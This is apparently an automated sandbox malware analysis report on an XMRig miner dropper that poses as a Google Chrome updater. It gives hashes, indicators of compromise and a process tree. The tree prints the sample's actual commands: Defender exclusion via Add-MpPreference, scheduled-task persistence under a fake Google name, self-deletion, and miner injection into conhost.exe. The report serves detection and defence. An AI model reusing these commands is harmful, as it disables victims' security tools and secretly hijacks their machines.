xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1494s
max time network
1794s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2400 created 1208	2400	DLKFnAGYJBNTnxwq.exe	15
PID 2400 created 1208	2400	DLKFnAGYJBNTnxwq.exe	15
PID 2400 created 1208	2400	DLKFnAGYJBNTnxwq.exe	15
PID 2400 created 1208	2400	DLKFnAGYJBNTnxwq.exe	15
PID 2956 created 1208	2956	updater.exe	15
PID 2956 created 1208	2956	updater.exe	15
PID 2956 created 1208	2956	updater.exe	15
PID 2956 created 1208	2956	updater.exe	15
PID 772 created 1208	772	conhost.exe	15
PID 2956 created 1208	2956	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral9/memory/3052-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/3052-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2608	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2956	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
568	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/3052-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/3052-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2956 set thread context of 772	2956	updater.exe	48
PID 2956 set thread context of 3052	2956	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2632	schtasks.exe
2820	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1680	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d08eb1a03c4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2400	DLKFnAGYJBNTnxwq.exe
2400	DLKFnAGYJBNTnxwq.exe
2696	powershell.exe
2400	DLKFnAGYJBNTnxwq.exe
2400	DLKFnAGYJBNTnxwq.exe
3024	powershell.exe
2400	DLKFnAGYJBNTnxwq.exe
2400	DLKFnAGYJBNTnxwq.exe
2400	DLKFnAGYJBNTnxwq.exe
2400	DLKFnAGYJBNTnxwq.exe
2600	powershell.exe
2956	updater.exe
2956	updater.exe
1828	powershell.exe
2956	updater.exe
2956	updater.exe
1656	powershell.exe
2956	updater.exe
2956	updater.exe
2956	updater.exe
2956	updater.exe
772	conhost.exe
772	conhost.exe
2956	updater.exe
2956	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	2956	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1680	WMIC.exe
Token: SeSecurityPrivilege	1680	WMIC.exe
Token: SeTakeOwnershipPrivilege	1680	WMIC.exe
Token: SeLoadDriverPrivilege	1680	WMIC.exe
Token: SeSystemtimePrivilege	1680	WMIC.exe
Token: SeBackupPrivilege	1680	WMIC.exe
Token: SeRestorePrivilege	1680	WMIC.exe
Token: SeShutdownPrivilege	1680	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1680	WMIC.exe
Token: SeUndockPrivilege	1680	WMIC.exe
Token: SeManageVolumePrivilege	1680	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1680	WMIC.exe
Token: SeSecurityPrivilege	1680	WMIC.exe
Token: SeTakeOwnershipPrivilege	1680	WMIC.exe
Token: SeLoadDriverPrivilege	1680	WMIC.exe
Token: SeSystemtimePrivilege	1680	WMIC.exe
Token: SeBackupPrivilege	1680	WMIC.exe
Token: SeRestorePrivilege	1680	WMIC.exe
Token: SeShutdownPrivilege	1680	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1680	WMIC.exe
Token: SeUndockPrivilege	1680	WMIC.exe
Token: SeManageVolumePrivilege	1680	WMIC.exe
Token: SeLockMemoryPrivilege	3052	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2632	3024	powershell.exe	32
PID 3024 wrote to memory of 2632	3024	powershell.exe	32
PID 3024 wrote to memory of 2632	3024	powershell.exe	32
PID 2608 wrote to memory of 1460	2608	cmd.exe	37
PID 2608 wrote to memory of 1460	2608	cmd.exe	37
PID 2608 wrote to memory of 1460	2608	cmd.exe	37
PID 2600 wrote to memory of 548	2600	powershell.exe	38
PID 2600 wrote to memory of 548	2600	powershell.exe	38
PID 2600 wrote to memory of 548	2600	powershell.exe	38
PID 568 wrote to memory of 2956	568	taskeng.exe	40
PID 568 wrote to memory of 2956	568	taskeng.exe	40
PID 568 wrote to memory of 2956	568	taskeng.exe	40
PID 1656 wrote to memory of 2820	1656	powershell.exe	47
PID 1656 wrote to memory of 2820	1656	powershell.exe	47
PID 1656 wrote to memory of 2820	1656	powershell.exe	47
PID 2956 wrote to memory of 772	2956	updater.exe	48
PID 1764 wrote to memory of 1680	1764	cmd.exe	53
PID 1764 wrote to memory of 1680	1764	cmd.exe	53
PID 1764 wrote to memory of 1680	1764	cmd.exe	53
PID 2956 wrote to memory of 3052	2956	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2632
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2820
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:772
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2428
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1680
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3052

C:\Windows\system32\taskeng.exe
taskeng.exe {409F7A9F-95C4-4118-80F4-958778F74988} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:568
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.6MB
SHA256 212f3113e27bb9d7090312026e22fc5d4957aeac366c5160692c5a91d0afe1da
MD5 ebefba21ad82d199a42ed78ce0ddff3c
SHA1 1954431de238e671bec86e416e4f61e74226eac7
SHA512 0fa16d3d5915d6fc318d1a4ea876d5d74188b2f8ce97ae1bbf874a3ca2df282045ce164b64fc413bc367988266d85f62427b4a270a06a8f0267669dfa6a31efa
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64U:rxAEcp9ueXit9WAQ0YWu
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.4MB
SHA256 759c92ad96e82e2a4c7a7437b6718db2d06032e316ba1a563c8c92546621a6ad
MD5 8a312de0a58f3e88e9f2902c295481eb
SHA1 f7f124cc5c774b5de81e61c7e1773b4f0747e399
SHA512 ba58b1baa262020d91ff446700abd309dcb7c5ebf88e86c9735008b3f13f38cc596af2f6d579c3209dbd67683cab47e16d52669a7dc1aa3b01b073ae3c40b0b0
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkY+:rWVipAxqo5p88CbXuxWQiSJU320ZW21r
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 615eb8c60047886ea0deae98d32f944cbd06bc96343879abf06b621b18d1a7b0
MD5 818f42048ca83d8bfbc1e75561ac0c40
SHA1 bde1e715769ba2d8c860bac54323a7aa531dd0ba
SHA512 c3487065c2e2d45da7be96d98cec35a2a2ad1e62f58163b3483ce9f84c328726d447d89eea09c925b9b500651988d2dda7ae33b4226b94acef06a03e53e3d340
SSDEEP 96:YnliCkn5OM8QnqvsqvJCwoSexnliCkn5OM8QnqvsEHyqvJCworIeqt2UQHL8E87/:Ylm5OkUoRlm5OkAHnorgXd772GP
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 1.9MB
SHA256 5566a66f042b2d74f92dbcee273de476038f901cd48df15cbe516f9189a62884
MD5 19ebc0ac0af13f24de932e1fb3245b00
SHA1 109f9cc4f1fe0381595ef7b494a5655e2550bed7
SHA512 92f981238c47c342cbd8e1ac90ffcb296c48667d92274b683f71b028123628133d0a9d12567af5b71b9ffe424f1f9be9c5b26edc44e9df10772c0fcf974c8eba
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmV:rxAEcp9ueXit9WAQ0YWuOM
MD5 SHA1 SHA512 SSDEEP

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memory/772-76-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/772-72-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1656-60-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/1656-56-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/1656-57-0x0000000000980000-0x0000000000A00000-memory.dmp

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memory/1656-55-0x0000000000980000-0x0000000000A00000-memory.dmp

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memory/1656-54-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/1656-59-0x0000000000980000-0x0000000000A00000-memory.dmp

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memory/1656-58-0x0000000000980000-0x0000000000A00000-memory.dmp

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memory/1828-52-0x0000000001210000-0x0000000001290000-memory.dmp

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memory/1828-50-0x0000000001210000-0x0000000001290000-memory.dmp

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memory/1828-49-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/1828-48-0x0000000001210000-0x0000000001290000-memory.dmp

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memory/1828-47-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/1828-51-0x0000000001210000-0x0000000001290000-memory.dmp

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memory/1828-53-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2400-29-0x000000013FEA0000-0x00000001400B1000-memory.dmp

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memory/2400-0-0x000000013FEA0000-0x00000001400B1000-memory.dmp

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memory/2600-37-0x00000000023C0000-0x0000000002440000-memory.dmp

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memory/2600-40-0x00000000023C0000-0x0000000002440000-memory.dmp

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memory/2600-41-0x00000000023C0000-0x0000000002440000-memory.dmp

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memory/2600-39-0x00000000023C0000-0x0000000002440000-memory.dmp

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memory/2600-38-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/2600-42-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/2600-36-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/2696-11-0x00000000024D0000-0x0000000002550000-memory.dmp

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memory/2696-12-0x00000000024D0000-0x0000000002550000-memory.dmp

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memory/2696-5-0x000000001B240000-0x000000001B522000-memory.dmp

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memory/2696-7-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/2696-8-0x00000000024D0000-0x0000000002550000-memory.dmp

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memory/2696-9-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/2696-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

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memory/2696-10-0x00000000024D0000-0x0000000002550000-memory.dmp

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memory/2696-13-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

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memory/2956-46-0x000000013FC30000-0x000000013FE41000-memory.dmp

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memory/2956-67-0x000000013FC30000-0x000000013FE41000-memory.dmp

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memory/3024-23-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/3024-21-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/3024-20-0x00000000023D0000-0x00000000023D8000-memory.dmp

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memory/3024-22-0x00000000026A0000-0x0000000002720000-memory.dmp

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memory/3024-19-0x000000001B190000-0x000000001B472000-memory.dmp

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memory/3024-27-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/3024-24-0x00000000026A0000-0x0000000002720000-memory.dmp

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memory/3024-25-0x00000000026A0000-0x0000000002720000-memory.dmp

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memory/3024-26-0x00000000026A0000-0x0000000002720000-memory.dmp

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memory/3052-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-70-0x00000000007A0000-0x00000000007C0000-memory.dmp

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memory/3052-68-0x0000000000100000-0x0000000000120000-memory.dmp

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memory/3052-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-81-0x00000000007A0000-0x00000000007C0000-memory.dmp

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memory/3052-82-0x00000000007C0000-0x00000000007E0000-memory.dmp

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memory/3052-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/3052-71-0x00000000007C0000-0x00000000007E0000-memory.dmp

